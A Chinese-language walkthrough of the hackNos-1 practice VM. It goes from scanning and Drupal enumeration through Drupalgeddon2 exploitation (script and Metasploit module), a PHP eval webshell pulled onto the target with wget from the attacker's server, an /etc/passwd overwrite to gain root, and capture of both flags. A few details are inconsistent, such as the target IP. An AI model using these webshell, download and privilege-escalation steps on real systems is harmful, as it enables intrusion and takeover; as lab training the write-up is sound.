线下靶机测试：hacknox-1

一、线下靶机的环境配置

在对hacknox攻击实操中，采用Os-hackNos-1.ova的虚拟镜像在Oracle VM VirtualBox打开用来创建靶机的环境配置和实验操作.

1.建立虚拟系统

在Oracle VM VirtualBox界面通过“导入”项查看需要导入的系统，并将虚拟机放入提前设置好的文件夹。

例图如下：

 

找到Os-hackNos-1.ova的文件并打开它。

 

将它放入提前定义好的文件夹：

进行启动，启动完成后，对虚拟机进行配置的修改：

①设置串口为USB1.1(OHCI)控制器

②设置网络混杂模式为全部允许

这样Oracle VM VirtualBox的虚拟就全部配置完成，启动。

二、靶机的扫描和搜索(确定目标[网站/服务器])

在打开虚拟机，并配置完虚拟机后，进入kali Linux黑客操作系统，打开root的最高权限，对Linux系统串接的IP进行扫描和查看，并确定自己虚拟机的ip地址，进行访问和查看来确定目标。

1.扫描kali Linux黑客系统的ip地址

打开kali linux 系统的最高权限，通过扫描“ipconfig”来确定自己系统的ip。

通过搜索得到，自己linux系统的主机地址是：“192.168.1.19”.

2.检索虚拟机沙盒的IP地址

利用nmap中的扫描进行检索，查看可以的用户信息，并来确定虚拟机的IP地址。

Ⅰ这里利用namp的st协议进行扫秒扫描格式如下“ nmap 192.168.1.0/24 -sT ”.

扫描进度的读取速度较慢，需要耐心等待。例图如下：

 

Ⅱ当扫描进度达到100%后，可以得到系统端所有ip系统端的端口，通过对比查看找到沙盒的端口.

例图如下：

 

得到Oracle VM VirtualBox的虚拟机ip地址端口是“192.168.1.39”.

Ⅲ得到端口后，通过“ dirb http://192.168.1.39/ ”访问敏感信息.例图如下：

 

Ⅳ当发现“directory”时，需意识到检索到目录文件，点开目录文件进行访问查看

 

Ⅵ在得到“http://192.168.1.39/drupal/”后，对web服务器进行漏洞挖掘，在最下面发现

”Powered by Drupal“得到解题的关键信息，通过点击查看！！！

 

三、漏洞挖掘

点开后，发现这是一个开源的ＣＭＳ，也就是“OPEN　Content Managent System” ，因此需要寻找关于＂ Drupal ＂，也就是找到 Drupal 的web漏洞，即： Drupal exploit ，通过“ Github.ｃｏｍ”检索“Drupal exploit”得到ｗｅｂ漏洞。

 

1.通过下载得到Drupal 的漏洞，并安装到Linux的操作系统中去.

 

2.在Linux中打开下载的漏洞包，启动ｒｏｏｔ权限，执行命令操作.

Ⅰ：进行“ gem install highline ”的操作攻击命令

 

Ⅱ：完成后，运行“ ./drupalgeddon2.rb ”查看.

 

Ⅲ：运行“ ./drupalgeddon2.rb http://192.168.1.6/drupal/ ”得到控制端接口.

Ⅳ：利用“ｗｈｏａｍｉ”查看自己的名称

利用“ｉｄ”查看自己的权限

Ⅴ：拿到权限后，撰写一句话木马病毒，即网站后门的程序管理系统

”<?php @eval($_POST[sec]);?>“，将木马放入Linux系统的桌面

Ⅵ：将ｌｉｎｕｘ的系统桌面8080窗口打开，将123.ｐｈｐ进行传输

四、权限维持

可以看到，桌面的IP地址为：http://192.168.1.19:8080/，文件也传输到了ｗｅｂ服务器上。

1.将“123.ｐｈｐ”也就是”一句话木马“下载在虚拟机也就是靶机。

利用” wget http://192.168.1.19:8080/123.php “下载

例图如下：

2.通过访问”http://192.168.1.39/drupal/123.php“验证一句话木马是否植入浏览器

例图如下：

3.将”http://192.168.1.39/drupal/123.php“在蚁剑中操作执行

例图如下：

4.在蚁剑中进行链接并执行命令

蚁剑中执行”ｗｈｏａｍｉ“和”ｉｄ“进行查看

五、权限提升

1.将”/ｅｔｃ/ｐａｓｓｗｄ“下载到本地链接

2.在Linux操作系统中利用” openssl passwd -1 -salt salt ｗｕｋａｉ0523“对自己的账户进行加密

3.在继续登录”http://192.168.1.19:8080/“查看已经上传的ｐａｓｓｗｄ文档

4.在蚁剑中下载将原本的ｐａｓｓｗｄ进行覆盖

利用” wget http://192.168.1.19:8080/passwd -O passwd “将原本蚁剑的ｐａｓｓｗｄ进行覆盖

例图如下：

 

5.在蚁剑中查看覆盖的ｐａｓｓｗｄ

例图如下：

 

六、拿到用户ｒｏｏｔ的信息以及ｆｌａｇ版本型号

1.在控制端打开ｍｓｆｃｏｎｏｌｅ

例图如下：

 

2.在拥有ｍｓｆ6的端口输入操作指令

Ⅰ：输入：” use exploit/unix/webapp/drupal_drupalgeddon2 “

Ⅱ：输入虚拟机也就是靶机的ｉｐ地址：” set rhosts 192.168.1.39“

Ⅲ：输入漏洞检测系统： ”set targeturi /drupal ”

　　Ⅳ：最后执行也就是“ｒｕｎ”

Ⅴ：得到管理者操作权限，也就是控制者常常看到的

　　　然后通过执行ｓｈｅｌｌ

进入目标的执行命令环境

　利用“ python3 -c 'import pty; pty.spawn("/bin/bash")' ”进入权限管理

Ⅵ：利用“ｗｈｏａｍｉ”验证身份

Ⅶ：利用ｓｕ切换身份到ｗｕｋａｉ

输入密码：ｗｕｋａｉ0523进入授权管理系统

Ⅷ：当管理员从ｗｗｗ-ｄａｔａ到ｒｏｏｔ时，说明已经到达最高权限

七、验证成功

1.找到第一个ｆｌａｇ

在/ｈｏｍｅ/ｊａｍｅｓ/user．ｔｘｔ中找到第一个ｆｌａｇ

2.找到第二个ｆｌａｇ

Ⅰ：访问“ｗｈｏａｍｉ”确定是最高权限

Ⅱ：利用“ｃｄ”改变目录到“ｒｏｏｔ”

Ⅲ：利用“ｌｓ”访问

得到文件夹“ｒｏｏｔ．ｔｘｔ”

Ⅳ：利用“ｃａｔ”访问“ｒｏｏｔ．ｔｘｔ”，得到最后一个ｆｌａｇ